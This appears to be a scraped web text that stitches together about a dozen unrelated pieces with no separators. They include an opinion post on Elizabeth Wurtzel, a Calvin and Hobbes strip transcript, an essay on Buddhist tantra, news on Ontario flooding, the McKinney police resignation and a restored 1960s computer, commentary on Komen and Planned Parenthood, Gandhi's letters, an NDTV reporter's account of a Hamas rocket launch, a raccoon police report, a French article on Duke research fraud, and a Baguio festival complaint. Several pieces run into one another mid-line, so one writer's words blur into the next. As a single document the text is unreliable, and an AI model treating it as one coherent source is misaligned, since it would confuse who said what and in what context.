To recall the shmaltzy song stylings of the lovely Charlene, the problem with Elizabeth Wurtzel is not that she’s never been to Me. The problem with Elizabeth Wurtzel is that she’s only ever been to Me — and on evidence of her writing, it’s a pretty sorry and hopeless place to be stuck in. It’s not going to end well with her, and she’s already had more chances in life to get it right than most people do. Every day offers a chance to change, to choose life, not death. But every day you spend choosing death — in her particular case, the death of imprisonment to the Self — makes it even harder to choose life, while you still have a life to choose.
On the other hand, maybe Elizabeth Wurtzel’s destiny is to serve as a cautionary tale. In that case, send a link to her essay to your teenage or college-age children. Tell them its title should be, “How To Lie To Yourself And Waste Your Life.” I’m actually serious about this.
UPDATE: David Mills at First Things comments on Wurtzel’s piece, and this post. Excerpt:
I think he’s right about this and everything else, but that he’s a little too hard on Wurtzel. Her beliefs about herself and the world are intensely stupid, not just foolish but stupid, but she is her stupidity’s main victim — and more to the point, we don’t know why she is as she is and whether with the same temptations we wouldn’t have wound up much the same as she did. The conviction that one must satisfy the self, whatever the consequences, and no matter what the evidence that this does not work, is never very far away from any of us. One can imagine one’s own face at the top of the article, or one like it expressing one’s own particular brand of self-deception, had things worked out differently. The reality’s hidden for her and from her by the ideas behind that stale cliche about the purity of her heart. The “pure heart” Wurtzel thinks she has heroically served and for protecting whose integrity she’s suffered — the “pure heart” of contemporary Romanticism, also known as “authenticity” and the like — is just the expression of ego and desire and want, pure only in the sense that the self’s drive to assert itself remains unmixed with caution or prudence or concern for the needs of others or submission to any external authority.
Good points. As I said in a combox remark earlier today, it is hard to reach somebody like Wurtzel, who is driven so powerfully by her emotions. Beyond the sad case of Wurtzel (side note: it’s interesting to think about the kind of home environment that produces such a basket case), we live in a culture in which emotivism reigns supreme. Every age has had its Wurtzels, but we happen to live in a time and place in which her way of thinking (“thinking”) is particularly popular.Transcript:
Hobbes: Whatcha doin'? Calvin: Getting rich! Hobbes: Really? Calvin: Yep. I'm writing a self-help book! There's a huge market for this stuff. First, you convince people there's something wrong with them. That's easy because advertising has already conditioned people to feel insecure about their weight, looks, social status, sex appeal, and so on. Next, you convice them that the probelm is not their fault and that they're victims of larger forces. That's easy, because it's what people believe anyway. Nobody wants to be responsible for his own situation. Finally, you convince them that with your expert advice and encouragement, they can conquer their problem and be happy! Hobbes: Ingenious. What problem will you help people solve? Calvin: Their addiction to self-help books! My book is called, "Shut Up and Stop Whining: How To Do Something With Your Life Besides Think About Yourself." Hobbes: You should probably wait for the advance before you buy anything. Calvin: the trouble is...if my program works, I won't be able to write a sequel.The value of Vajrayana is an attitude—the spacious passion that unclogs energy—not technical intricacies.
“Not about techniques” is a somewhat unusual view.
Traditional teachers and texts do often—not always—define Buddhist tantra as a collection of esoteric practices.
For modernizers, too, it’s tempting to describe tantra as “advanced mental technology.” As an engineer, I find that an attractive proposition:
What we want out of Vajrayana, once we’ve stripped away the traditional superstitions, is a pragmatic manual of proven techniques for transforming consciousness.
I think this is a mistake, however. It’s not exactly wrong, but:
Thinking of tantra as techniques overlooks what I consider most valuable in it.
Many traditional techniques don’t work, and claims about the effectiveness of the ones that do are often exaggerated.
Viewing tantra as technology is, ironically, a roadblock to necessary innovations.
The technical view also risks aggressive self-aggrandizement.
Tantra is an attitude, not a technology
We often think of a religion as beliefs plus practices. From a naturalistic perspective, Buddhism’s beliefs are almost all wrong, so modern Buddhism drops them. That means its value must be in practices? Some value, yes, but I think actually Buddhist tantra is valuable mainly for its unique attitude toward life.
I have defined that attitude as “spacious passion,” and described the overall method of tantra as:
Tantra is about your relationship with everything in your life. If “tantric practice” is a technical procedure you carry out for an hour every morning, it may not do much. It’s the attitude that does the work, not the techniques.
Some Westerners may make slow progress with tantra because they have not been shown the attitude—and therefore don’t understand what it is for. They may have the idea that simply performing tantric techniques according to the manual is effective. That’s like “paint by numbers”—or like my guitar playing. I can hit the right notes at pretty much the right time, but due to my severe Rhythm Deficiency Disorder, it sounds nothing like music. “It don’t mean a thing, if it ain’t got that swing.” Spacious passion is the swing in tantric practice. It’s what makes it music, not a series of notes.
If you do have the tantric attitude, that by itself might be enough, even with no specific techniques at all. Ultimately, just maintaining the attitude is itself the practice of tantra.
The view that an attitude, not techniques, are what matter in tantra is somewhat unusual, but it is also traditional. This is the Dzogchen take on tantra, more-or-less. Kunjé Gyalpo, the earliest major Dzogchen text, criticizes tantra as artificial, conceptually complicated, gimmicky, and unnecessarily effortful. The best practice is simply to “remain in the state.”
Don’t believe the hype
What tantric techniques can do is throw you into the attitude, intensify it, and help maintain it. Some can be extremely powerful, but we need to be realistic about what works and how.
I think tantric practices are over-hyped by the tradition. Its exaggerated claims get in the way of clear understanding and practical use.
Some reasons tantric techniques may not work for us:
Many are supposed to accomplish impossible, supernatural results, like raising the dead by magic, or walking on water.
Many are impractical in the West. For example, we can’t gather a hundred highly-trained monks to take all the necessary roles in a complex, ten-day-long ritual.
Many are culturally specific. They make no sense unless you have been brought up in that culture—or are willing to immerse yourself in it for several years.
Many were designed for slaves, monks, or bored aristocrats of the leisure class, and make no sense for free lay commoners.
Many were probably always feeble—some charismatic guy’s plausible idea that failed, but persisted because he became famous.
The tantric attitude guides innovations in techniques
My guess is that enough of the tradition is unworkable that future Buddhist tantra will need to innovate many new practices. In fact, it has innovated throughout its history—but perhaps more drastic and rapid change is needed than ever before.
If the value of tantra was just its techniques, or if we regarded them as sacred procedures to apply by rote, this would be impossible. They’d work however well they worked, and that would be that.
In fact, tantric techniques flow from the tantric attitude—not vice versa. This makes innovation possible. We can understand what traditional techniques accomplish, and why they work. That can guide adaptation, and the creation of new methods that promote the same attitude in a different context. I’ve described one such new practice, developed in America in the 1980s, that seems particularly suitable here and now—a “killer app,” even!
I suspect there is no particular class of techniques that are indispensable. For instance, yidam is perhaps the single most important tantric practice. I believe one could drop yidam altogether, and tantra would still function.
However, some technical methods do work here and now. Others can be made to work if adapted. I’m not suggesting one should drop yidam—it does work, and there’s nothing wrong with it—just that nothing is essential.
A technical orientation encourages self-aggrandizement
Some Westernizers promote tantra as “power tools for transformation.” This seems particularly common among people attracted to tantra’s promise of power.
This misunderstanding leads to a peculiar sort of arrogance. I see it too often in online Buddhist forums. Tantrikas engage in aggressive one-up-manship:
I’ve learned more advanced techniques than you have, my lama’s version is better than your lama’s version, plus you’re doing it wrong, and—(I’m properly humble in a Buddhist way, so I would never say so)—but you really need to know that my samadhi is much deeper than yours!
This probably gives onlookers the impression that Vajrayana is a religion for dickheads only.
Some Westerners believe they can use tantric techniques to dominate men and seduce women. This isn’t entirely false, but usually doesn’t go well. I discussed the pitfalls in “Black magic, transformation, and power.”
Others interpret tantric power as a mental upgrade, resulting from mental technology. Talk of “self-transformation” encourages the fantasy that you can fix yourself up, eliminating your defects; construct a better, more attractive you; establish solid personal territory and gain confidence in your own power; and ultimately, perhaps you can save yourself from all suffering by attaining enlightenment. If you can just master the difficult mental techniques, all this is possible! (No, it’s not.)
This interpretation is an example of what I’ve described as the “psychologization strategy” for naturalizing Buddhism. “Psychologization” reframes supernatural external phenomena as psychological internal ones. These reinterpretations may be appropriate for Sutrayana, which is largely about the self (or supposed lack thereof). Psychologization can be misleading and dangerous when applied to tantra. Tantra is not mainly about the self. It is about relationships: connections and interactions.
It is the tantric attitude that transforms—and remember, that attitude is the union of spacious freedom with passionate connections. Those tend to dissolve arrogance, aggression, and self-aggrandizement. Tantric power comes from unclogging energy—not from collecting and concentrating it.
Process note
This page was to be a preface to a ten-page section of Reinventing Buddhist Tantra that explains how two key traditional tantric practices could be naturalized. They are yidam, often described as “deity yoga”; and tsa lung, or “energy practice.” Both are traditionally understood as supernatural, but I find them effective despite having a naturalistic worldview.
The point of this page was that the details don’t particularly matter, because techniques are not centrally important. I wanted to discourage readers from getting hooked on the hope that I would eventually deliver a practical manual, which I didn’t intend to do.
As I explained in my Imperfect Buddha podcast recently,
I abandoned Reinventing Buddhist Tantra several years ago. A re-presentation of Vajrayana for contemporary cultural conditions is conceptually straightforward, and I’ve worked a lot of it out in draft form. However, contemporary social conditions are not conducive. That is, the sorts of social structures required to support contemporary Vajrayana do not exist, and I don’t see how to create them.
So this page has sat dormant in the vast Vividness draft document for four years. However, by chance I’ve emailed the piece to several people over the past few months—for different reasons—and some spontaneously suggested I publish it.
Reviewing the draft document, the first page of the yidam section is nearly complete—so perhaps I will publish that as well! However useless it may be at this moment in history.
This page—and the series overall—were greatly improved by comments from Rin’dzin Pamo.
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Like this: Like Loading... RelatedEnvironment Canada says much of southern Ontario is in for a good soaking over the coming days — including the City of Belleville, which is already under a state of emergency over concerns local rivers could cause major flooding.
The forecast has conservation authorities in the province's south on flood watch.
Belleville has sent out a call for additional volunteers to help fill sandbags and prepare for an anticipated rise in flood waters over the next several days.
According to city officials, fifty homes have already been hit, and as many as 200 could be affected, by the time flood waters crest. Authorities declared a state of emergency on Saturday.
Firefighters and volunteers have been sandbagging residences since early Saturday in the city, 175 kilometres east of Toronto, amid severe flooding along the Moira River. The river, swollen by snow melt, burst its banks earlier this week and has been rising 15 centimetres per day.
"We had a crazy winter so we expected some kind of flooding, but not like this. It's frightening," said resident Lisa Long as volunteers piled sandbags around her home.
Flood warnings are also in effect for the area's Salmon, Napanee and Trent Rivers.
Belleville Mayor Neil Ellis told CBC News the city is looking for volunteers — anyone with “rubber boots and strong arms” — to help with sandbagging. Volunteers must be at least 14 years old.
Similar to 2008
The water levels are nearing those of the flood that hit Belleville in 2008 — said at the time to be the sort that occurs only once every 10 years.
Ellis, who was also mayor at the time, said the city learned much from 2008, though the latest flood is posing its own challenges.
"The whole community has been out [volunteering] but everyone's getting tired," he said.
The city's fire chief on Friday warned residents not to be lulled into a "false sense of security" by the pleasant weather.
"Our message to residents is we really need to be prepared — it is coming,” Mark MacDonald said in a statement.
Ottawa, southern Quebec brace for flooding
Environment Canada has ended its weather warnings for Ottawa, Gatineau and areas of eastern Ontario, but residents affected by flooding are still on alert with a thunderstorm in the forecast for Monday.
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But the organization admits the total amount of precipitation expected to hit the region is unclear.
In southern Quebec, rains threaten to raise river water levels and the risk of floods even higher.
Up to 45 millimetres of rain could fall in some regions Sunday.
Rain is expected to continue through Tuesday, according to Environment Canada.McKINNEY, Texas — The Mayor and Police Chief of the City of McKinney responded in a press conference to the resignation of Corporal Eric Casebolt Tuesday afternoon. Casebolt resigned following the release of a video showing him wrestling a bikini-clad teenage girl to the ground after she failed to comply with commands and resisted being detained.
“As the Chief of Police I want to say to our community that the actions of Casebolt, as seen on the video of the disturbance at the community pool, are indefensible,” Chief Greg Conley said at a press conference attended by Breitbart Texas. “Our policies, our training and our practice do not support his actions. He came into the call out of control and as the video shows was out of control during the incident. I had 12 officers on scene and 11 of them performed according to their training. They did an excellent job.”
“Our citizens called us to a fight in progress and general disturbance at the community pool,” the Chief explained. “We responded. I do not condone the actions of those individuals who violated the rules of the community, showed disrespect to the security person on scene and to the officers who responded. However, we as a department are held to a high standard of action as we do our jobs.”
The Chief expressed his support for his officers and gratitude to the residents of McKinney who have shown strong support for his department throughout this incident. ““McKinney is a wonderful city; it is a great place in which to live, work, and visit; we are committed to keeping it that way,” Conley concluded.
McKinney Mayor Brian Loughmiller said, “Over the past several days I have been meeting with residents and representatives from our community to reassure them that we are following an investigative process that is open, fair and legally required. I have received many emails and phone calls and it is important to point out that while Friday’s incident demanded and received our fullest attention, it is not indicative of McKinney as a whole. We have good, law abiding citizens throughout our community including in our Craig Ranch community, and we have good public servants in our police and fire departments. The actions of any one individual do not define us as a community.”
He praised his newly-appointed police chief and said he has confidence in the investigative process. “We will continue to evaluate these events and continue to reach out to community members throughout our city to help move our community forward in a positive manner,” the Mayor concluded.
During a question and answer session, Chief Conley confirmed that Casebolt resigned on his own and under no pressure from the city. He said he has not spoken personally with Casebolt about the issue.
Conley said that Casebolt will be eligible for whatever pension and retirement benefits he has earned during his tenure with the department.
The Chief assured residents that the investigation into any complaints would continue and, if there are grounds, a criminal action could move forward after the investigation is complete. However, because Casebolt resigned, the City cannot issue any kind of administrative punishment.
Asked if officers would receive any kind of different training, Conley responded that he is always evaluating training and making improvements.Image caption Rod Brown spent nine years restoring Flossie, which was bought for its £200 scrap value
One of the world's oldest commercial computers has been brought back to life by two enthusiasts in a barn in Kent.
The ICT1301 computer, known as Flossie, was restored to working order on its 50th anniversary by engineers Roger Holmes and Rod Brown in Bethersden.
The 20ft (6m) by 22ft machine was built to replace rows of clerks doing office work and featured in the 1974 James Bond film The Man With The Golden Gun.
Bought for £200 in 2003, it has 100th of the power of a smartphone.
Mr Holmes, a Computer Conservation Society volunteer, said it was a unique machine important for putting modern technology into context.
Blake's 7
He said he was negotiating with various organisations to find it a new home.
"It's a big beast. I would like it go somewhere they will continue to keep it running," he said.
"If it is kept behind a case, people will not be able to experience what it was like in the 1960s.
Image caption Flossie was used as a prop in Bond film The Man With The Golden Gun
"With it working, people can walk in, hear it, smell it and almost taste it and have a flavour of how it was back then."
Flossie originally cost £250,000 to build in 1962, the equivalent of £4.2m today.
It has 100,000 punch cards and 27 reels of magnetic tape, both to record data, and its 12 kilobytes of memory alone weigh half a tonne.
Each piece of memory has five lengths of wire threaded by hand.
Mr Brown said: "You have to remember that file reels in those days were multi-reel, so at 10 meg a reel, 27 reels, we're up to a quarter of a gigabyte - and 50 years ago that was a lot of data."
Mr Holmes said Flossie took the drudgery out of office work in the 1960s, but also cost jobs.
"Before this, there were huge great rooms 100ft square full of clerks doing nothing but calculation, and recording things, and taking the files out, and changing them, and putting them back again - and they all became redundant," he said.
Flossie was used as a prop in Bond film The Man With The Golden Gun starring Roger Moore and also in two BBC TV series - Doctor Who and Blake's 7.See all our coverage of the Susan G. Komen Foundation’s break with Planned Parenthood here.
Can you trust a breast cancer organization whose staff and board lie about medical science, including breast cancer?
Today, amidst the outcry surrounding the decision by the Susan G. Komen Foundation to demand that its state affiliates terminate a successful five-year relationship working with Planned Parenthood clinics to increase access to breast cancer screening for low-income and uninsured women, it dawned on me that there is another pressing question here not being asked.
Why has the world’s largest breast cancer advocacy organization hired senior staff people and elected to its board individuals who misrepresent, or are allied with those who misrepresent, medical and public health evidence, including about causes of breast cancer?
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It seems to me that the most fundamental measure of accountability for an organization dealing with life-threatening illnesses and public heath problems such as breast cancer is the efficacy with which that organization evaluates, communicates about, and respects medical and scientific evidence. Further from that, it would seem imperative that such an organization hire staff and elect board members who uphold the highest standards of science and medicine without regard to personal ideology.
Yet Komen has done just the opposite. They hired a known anti-choice politician, failed Georgia gubernatorial candidate Karen Handel, as their Senior Vice President for Policy, a woman who misrepresented facts about government funding of Planned Parenthood as part of her core campaign strategy, and who also supports the spread of misinformation about public health and individual consequences of abortion care, outright lies that have been soundly refuted by medical and public health experts. The foundation of Handel’s career and poiltical candidacy is an ideology based on misrepresenting scientific, medical, and other facts. Isn’t that damaging to an organization that claims to be the world’s largest donor to scientific research on breast cancer? Why would an organization concernd about accuracy in research hire such a person?
They also elected Jane Abraham, the General Chairman of the anti-choice Susan B. Anthony List (SBA) to their board. SBA itself is founded on misrepresentation of the history of Susan B. Anthony, and has constantly spread false and misleading information about federal government funding of abortion, about health reform, and about the the public health and medical evidence surrounding safe abortion care.
Moreover, Abraham is also closely affiliated with The Nurturing Network, a global network of crisis pregnancy centers started by Mary Cunningham Agee, a former corporate business executive and anti-choice crusader affiliated with the Coalition for Life. The Nurturing Network and other crisis pregnancy organizations exist to mislead women and dissuade them from making decisions that are best for themselves, and are based on sound scientific and medical advice. They are also profoundly patronizing in their approach, which is based on knowing better than women themselves what those women “should want” and what is “best for them.”
Groups like Nuturing Network are the nucleus of lies about abortion and breast cancer. For example, a December 2004 Congressional report based on an investigation led by Congressman Henry Waxman (D-CA) found that, among other things, such centers:
“…provided false and misleading information about a link between abortion and breast cancer. There is a medical consensus that induced abortion does not cause an increased risk of breast cancer. Despite this consensus, eight centers told the caller that having an abortion would in fact increase her risk. One center said that “all abortion causes an increased risk of breast cancer in later years.” Another claimed that research shows a “far greater risk” of breast cancer after an abortion, telling the caller that an abortion would “affect the milk developing in her breasts” and that the risk of breast cancer increased by as much as 80% following an abortion.”
Never mind that the “abortion-breast cancer link” has been disproven many times over by groups like, uh, the National Cancer Institute, the Centers for Disease Control, the World Health Organization and the Institutes of Medicine. The lies live on because groups like SBA keep them going. For example, Marjorie Dannenfelser, President of the Susan B. Anthony List, is closely affiliated with and has appeared at events hosted by a group called the Coalition on Abortion/Breast Cancer. Meanwhile, you don’t see too many folks working with the Komen Foundation who are out there pounding the pavement on, say, the possible links between environmental toxins and breast cancer, causal links between which make the corporate partners of Komen very, very nervous.
So it is fair to ask: Just what are the scientific and medical standards to which the Susan G. Komen Foundation adheres, if any? Why would a breast cancer organization hire staff and elect board members that misrepresent science and facts? Can you trust them to give you sound information about breast cancer? And can you trust them with investing your money in the best possible efforts to end breast cancer?
Just sayin’.The bond between Gandhi and Hermann Kallenbach has been a subject of speculation and gossip for years owing to their closeness, with previously published correspondence suggesting they may have had a physical relationship.
One of the handwritten letters from Gandhi to Kallenbach that went on show on Wednesday, the 65th anniversary of Gandhi's assassination, is addressed to "My dear Lower House" and signed "Sinly yours, Upper House".
However scholars looking for clear evidence on the full extent of the men's relationship were left disappointed, with curators acknowledging that they had only put a sample of correspondence on display at the National Archives museum.
"These are original letters and we have provided a sample of the correspondence between Gandhi and Kallenbach. There is a lot that is new and significant," Mushirul Hasan, chief of the National Archives, told news agency Agence France-Presse.
Gandhi lived with Kallenbach, a German-born Jewish architect, in Johannesburg for about two years from 1907 before returning to India in 1914 where he helped unify the gathering political movement against British colonial rule.
The archive of letters and photos belonging to Kallenbach was purchased by the Indian government last year, just before they were due to be auctioned by Sotheby's in London.
Hasan denied that the collection had been screened and controversial letters left out keeping in mind the exalted status that Gandhi enjoys in the country.
"Nothing controversial has been left out or necessarily included," Hasan said.
"They had a marvellous relationship and the archives reveal the intensity of that relationship."
The relationship between Gandhi and the wealthy South African was most recently chronicled in a book by former New York Times editor Joseph Lelyveld.
"How completely you have taken possession of my body," Gandhi was quoted as saying in a letter to Kallenbach in Lelyveld's book, entitled "Great Soul: Mahatma Gandhi And His Struggle With India".
"This is slavery with a vengeance," the man known as the "father of the nation" in India is quoted as adding.
Lelyveld was forced to defend his book against accusations that he had suggested Gandhi was bisexual. "The word 'bisexual' nowhere appears in the book," he wrote afterwards.
Raj Bala Jain, part of the National Archives team that studied the collection in detail, said she was surprised how their relationship had been misconstrued.
"I do not know from where he (Lelyveld) quoted those letters. I did not find even a single letter with sexual overtones," she told AFP.
"Friendship can be misinterpreted. I think Gandhi was very normal and above such things," she said of the man who took a public vow of celibacy in his 30s, adding it was not possible to display all correspondence between the two.
"We have displayed what we thought was most interesting."
Among other documents were dozens of letters written by Gandhi's sons to Kallenbach that provide details of his life after his return to the country from South Africa.
In one of them, Harilal, one of the four sons of Gandhi, complains to Kallenbach about how his father had "neglected us". "For my failures in exam I hold him responsible," he wrote.
India has in the past fretted about private auctions of Gandhi's belongings, saying that they insult the memory of a man who rejected material wealth. Auctions of Gandhi's personal items like spectacles and other memorabilia often raise an uproar in the country where many people feel the items are part of the country's cultural legacy.
"We are talking about Gandhi. Such emotions are justified considering the glory that he brought to India," said Hasan.
Source: AFP(Adds quotes, background, details from survey)
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Hamas Assembles and Fires Rockets Incidentally, given that this was essentially an eyewitness account taped on video, there isn't some big reveal lurking around the corner. I do hope it will provide a little more detail and address some of the questions raised about how we came to film a Hamas rocket team assembling a rocket and firing it deep from within a civilian neighbourhood in Gaza, just minutes before the start of the ceasefire that is now in effect.As the video explains, we woke up on the penultimate day of our Gaza trip around 6 am, and there it was, exactly as you see it on tape: an incongruous blue tent on a tiny, vacant, overgrown patch of land behind a low, abandoned building.There is an important detail about that spot which I mention in our video report which may not have fully registered - this was the exact location from where a rocket was fired five days prior. It happened around midnight, so it was impossible to film. Panic ensued. The Israel Defence Force (IDF) sent a warning to two hotels across the road to evacuate; within minutes they were empty. Those in our building slept in a safe room on the ground floor. And so that spot was seared in our memory.So when we saw the tent on the same location with two men (later three) moving in and out, working on something inside which they seemed to be burying into the ground, it wasn't hard to conclude what this was. When they started running wires out of the tent, the final steps before covering the earth with a spade, moving some shrubbery on top and then slinking away, it was even clearer.We had all of it on tape, but wrestled with the dilemma of what to do with it. Two considerations weighed on our mind. One, the fear which hobbles the reporting such material: fear of reprisals from Hamas against us and those who worked with us, fear of inviting an Israeli response on the spot (these have been known to miss). Two, we needed to be 100 % sure that this was a rocket launch site. So we did nothing, setting off on our assignment for the day, mulling over the material in our possession.The next morning was meant to be our last in Gaza, and the day when a 72-hour ceasefire was meant to bring some relief to the area. As we woke early to pack - stealing tense glances at the 'rocket' patch - the final step was enacted. With minutes left for the ceasefire to kick in, flurries of Hamas rockets were fired. At about 7:52 am, this patch of earth was activated; the rockets took off with a bang and a plume of smoke. We managed to catch it on video just seconds after. By then the men who assembled it had long gone.We knew then we had to air the story. For us to have filmed how a rocket was assembled next to us, on a site used twice to launch a rocket, endangering the lives of all those around us on two occasions -to not have reported it would have been simply wrong. But we did take precautions - we aired the report a good five hours after the rocket was launched, well into the ceasefire. By then it was clear that Israel was not responding, at least for the period of the ceasefire. (Incidentally, given Israel's extensive surveillance of rockets launched from the Gaza Strip it hardly seems they would need the media to point out to them where rockets are fired from.)There was the question of possible reprisal by Hamas; to this one, there are no easy answers other than to ask: how long do we self-censor because of the fear of personal safety in return for not telling a story that exposes how those launching rockets are putting so many more lives at risk, while the rocket-makers themselves are at a safe distance? More so when we have rare, first hand proof of how it works?We have been asked how we can be sure that those who fired the rocket were members of Hamas. With groups like Hamas, absolute certainty is always hard to establish. The rocket we witnessed was not a one -off, launched by one of the splinter groups of the resistance. It was launched in a flurry of outbound missiles in the final moments before the ceasefire came into effect, suggesting the handiwork of the biggest, most-organized and well-stocked group on the Gaza Strip- Hamas. Also the fact that this was the second time a rocket was launched from the same spot a week prior suggests this is not the work of one of the factions/ freelancers but a more entrenched group.That's really all there is to it. Or not. Fairly soon after it aired, it was distressing to find that the story had become Israel's 'I told you so' moment, an independent endorsement proof. In their eyes, that the media has finally acknowledged Hamas's dubious military tactics (the video was shared on the Israel Defence Force's social media platforms; it was also featured as a brief clip at a Netanyahu press conference). In turn this provoked sharp reactions from (some of) those sympathetic to the Palestinian cause, who accused us of 'betrayal'. Just four days back, they praised us for our report from Rafah in south Gaza where the hunt for a so-called missing Israeli soldier had unleashed carnage. (The IDF did not re-tweet or 'like' that report)I can't imagine anything more disingenuous in both these positions. For starters, our report in no way absolves the IDF from taking responsibility for the appalling toll its offensive has taken on civilian lives. If anything, it only makes it all the more incumbent for the Israeli Army to evolve a response that minimizes the damage to civilian lives and property. So far, none is visible. As we and other media have reported from Gaza Strip areas like Rafah, Khuzaa, Shejaiya and Beit Hanoun, entire neighborhoods have been laid to waste, killing and wounding hundreds of civilians, many of them children in order to hunt down a tunnel, or knock out a rocket launch pad. ( Also Read: NDTV's Hamas Exclusive Is An International Headline Equally, if we have reported that the other side - Hamas - is also posing a risk to Gaza civilians, surely those who are concerned about the Palestinian cause should direct their ire at that group, and not at us? Our report in no way implies proportionality. The death toll - close to 1800 Palestinians killed to about 60 Israelis - hardly needs restating. We know that compared to Israel's firepower, Hamas's rockets are a minor threat. Of the almost 3,600 fired so far, only 10% have posed a serious risk to Israel's cities and have been taken down by its Iron Dome response system. The rocket we saw, in all probability, must have been the one of the 1000s that landed in open areas. But by firing these rockets from civilian areas, they threaten the people of Gaza more than anyone else: that was the simple point of this report.Instead a series of arguments have been thrown at us, for instance, the 'we have no choice' argument, suggesting that Israeli encroachment has deprived Gaza of open spaces from which Hamas can launch attacks. This is factually dubious - one only has to drive down the Salahudin Road from Gaza City in the north to Khan Younis in the south to see that the Gaza strip is not, as is commonly believed a continuous urban agglomeration. 'We have no choice' is also intellectually questionable - it is the same argument that Israel advances to defend its atrocious record of collateral killings.The bottom line is that news decisions in the heat of a war zone are taken not through the prism of pursuing X or Y agenda, but are often driven by the chaotic, unpredictable flow of news events. We spent our first five days in the Gaza Strip rushing to capture the devastation inflicted by Israeli shells hitting UN schools and dense, residential neighborhoods. On the last day, we happened to see a blue tent pop up and three men quietly at work. ( NDTV's Hamas Exclusive: Two Sides to A 'Dirty' War There is one final risk associated with stories like this -- and one that often keeps journalists awake at night -- is that our report could end up serving the goals of propagandists. To let this fear cripple our work would amount to erasing the difference between journalism and propaganda.We chose to not let that happen. We did not turn our sight away from a rocket launch site, just as we did not flinch while filming the dead piled up in Rafah's morgues.Four raccoon found in a Newport art gallery. (Photo: Newport Police Department)
Newport Police were called to the Inscapes Gallery on the Newport bayfront just after midnight Wednesday on a report of suspicious activity.
After arriving, police found four raccoon had entered the business.
We'll let the Newport Police Department tell the rest of the story:
"Four masked bandits burglarized Inscapes Gallery on SW Bay Blvd recently. Officers responded to a report of suspicious activity after midnight and cornered the suspects immediately upon entering the business. The suspects, known only by their street names of ‘Home Dog’, ‘Da Nails’, ‘Squeaky Feets’, and ‘2-Toes Todd’, attempted to elude officers on scene. After a brief scuffle, all suspects were captured without further incident or injuries.
‘Squeaky Feets’ told officers they had no intention of taking anything from the gallery; they were only trying to straighten a few pieces of art on the wall. Tell it to the judge, ‘Feets’. Tell it to the judge."
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AINSI QUE LE RACONTE la revue Science en partenariat avec le site Retraction Watch, tout a commencé en mars 2013 par un presque banal détournement de fonds. Chercheuse dans à l’université Duke (Caroline du Nord), une prestigieuse université américaine, la biologiste Erin Potts-Kant avait en effet utilisé la carte bleue de son service pour environ 25 000 dollars d’achats personnels… La dame a plaidé coupable et été condamnée à payer une amende ainsi qu’à effectuer des travaux d’intérêt général. Elle ne travaille plus pour l’université.
L’affaire aurait pu en rester là, c’est-à-dire cantonnée à la rubrique des petites malversations, dans la page des faits divers. Mais les responsables de Duke se sont demandé si la malhonnêteté de la spécialiste de biologie pulmonaire et de l’étude des effets des polluants sur les voies respiratoires n’avait pas débordé sur ses activités de recherche. Quand on est capable de faire des fausses factures, peut-on aussi produire de faux résultats? Ils ont donc passé au crible les expériences qu’elle avait menées ainsi que les publications qui en étaient issues et, ainsi que l’écrit Alison McCook, de Retraction Watch, « ils n’ont pas aimé ce qu’ils ont vu ».
Partie d’une simple fraude à la carte bleue, l’affaire Potts-Kant est devenue fraude scientifique de grande ampleur. A l’heure où ces lignes sont écrites, quinze articles publiés dans des revues scientifiques et co-signés par la chercheuse ont fait l’objet d’une rétractation en raison de la non-fiabilité des données expérimentales qu’elle avait fournies. Pour le dire plus clairement, l’enquête interne aurait montré que certaines expériences auraient été mal conduites, voire pas conduites du tout et que les données auraient été manipulées ou fabriquées de toutes pièces. Des chercheurs ont ainsi répété les expériences et ont été dans l’incapacité de reproduire les beaux résultats significatifs qu’Erin Potts-Kant avait obtenus…
Lanceur d’alerte
Mais l’essentiel de l’affaire n’est déjà plus là. Comme l’explique Alison McCook, aujourd’hui, c’est surtout l’université Duke qui se retrouve sur la sellette. Comme on l’a appris en août, elle fait en effet l’objet d’une poursuite lancée par un lanceur d’alerte, le biologiste Joseph Thomas, en vertu de la loi Lincoln. Connue aussi sous le nom de False Claims Act, cette loi fédérale américaine permet à un particulier d’attaquer, au nom de l’Etat, une entreprise privée ayant reçu et fort mal employé des fonds publics – or Duke est une université privée. La loi Lincoln prévoit aussi que si l’entreprise est condamnée à une amende, le lanceur d’alerte reçoit une fraction de cette somme. Quand on sait que les amendes s’élèvent parfois à plusieurs dizaines de millions de dollars, celui ou celle qui a porté l’affaire devant la justice peut devenir millionnaire en aidant l’Etat fédéral à récupérer l’argent public mal employé par le condamné.
Dans l’affaire Potts-Kant, Joseph Thomas, qui a travaillé dans le même laboratoire de recherches – dirigé par William Foster, lui aussi éclaboussé par le scandale et qui a depuis pris sa retraite – que la fraudeuse, accuse l’université Duke d’avoir fermé les yeux sur des pratiques qu’elle savait suspectes. Dans le texte de plus de 70 pages qu’il a déposé pour justifier sa plainte, Joseph Thomas dit ainsi que Duke « a intentionnellement dissimulé l’étendue totale de la fraude scientifique », tant aux chercheurs et aux revues spécialisées qu’à l’Etat dont elle avait perçu d’importantes bourses de recherche pour les travaux incriminés. Le biologiste va plus loin en affirmant que l’université a continué, après que le pot-aux-roses a été découvert, à demander de l’argent du contribuable sur la base de travaux qu’elle savait frauduleux.
Selon le décompte de Joseph Thomas, les faux résultats du laboratoire Foster pour lequel travaillait Erin Potts-Kant ont été exploités dans le cadre de dizaines de bourses fédérales (ou ont servi à en obtenir d’autres…), le tout pour un total de 200 millions de dollars, réparti sur une période de neuf ans. Etant donné que, selon la loi Lincoln, l’entreprise peut être condamnée à rembourser trois fois les fonds publics qu’elle a perçus, on conçoit que l’université Duke ne soit pas à l’aise avec cette affaire, tout comme doivent trembler d’autres universités privées américaines qui comprennent désormais qu’elles sont susceptibles de se retrouver dans le viseur de cette loi. On n’en est qu’au début du marathon judiciaire et, pour l’emporter, Joseph Thomas, le lanceur d’alerte, devra encore prouver que les résultats frauduleux ont été décisifs pour obtenir l’argent fédéral en question. Reste que l’affaire a le mérite de mettre en lumière ce qui, dans la tambouille de la science, reste souvent dans l’ombre, à savoir la course aux financements.
Pierre Barthélémy (suivez-moi ici sur Twitter ou bien là sur Facebook)
Signaler ce contenu comme inappropriéEvery year Panagbenga Baguio Flower Festival is being celebrated. The meaning of “Panagbenga” originated from a Kankana-ey term which means “season of blooming”. However, do know the real meaning of the word?
Panagbenga means a season of:
Heavy traffic within the central business business which affects other routes as well. Food display not the products of the province but street food products such as shawarwa, burgers, fishballs and etc. Flea Market offering commercialized cheap apparels and accessories instead of traditional creations of the locality. Garbage scattered all around. It is unfortunate to say that many local visitors from lowlands don’t know how to manage their garbage in a right place. Season of Snatchers, Swindlers, etc. Private Comfort Rooms for rent. Ihi-5 Pesos, Bawas- 10 Pesos What is the proper word to say? “Session Road in Bloom” or “Session Road in Mess”
